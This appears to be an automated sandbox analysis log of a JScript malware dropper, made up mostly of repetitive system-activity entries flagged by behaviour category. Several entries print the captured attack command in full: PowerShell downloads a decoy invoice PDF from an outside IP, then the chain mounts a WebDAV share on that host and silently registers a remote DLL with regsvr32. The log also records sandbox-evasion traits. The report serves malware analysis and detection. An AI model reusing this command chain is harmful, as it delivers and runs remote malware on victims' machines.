Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9497.js.csv");ITextStream.WriteLine(" entry:8225 f:wrgqp");ITextStream.WriteLine(" exec:2 f:wrgqp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4701			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5168			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5344	Thread sleep count: 4701 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6020	Thread sleep count: 5168 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5668	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3872	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5408	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7204	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1799458768.000001EE33E28000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3018784713.00000202FA25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3017585452.00000202F4C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1799292756.000001EE33DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
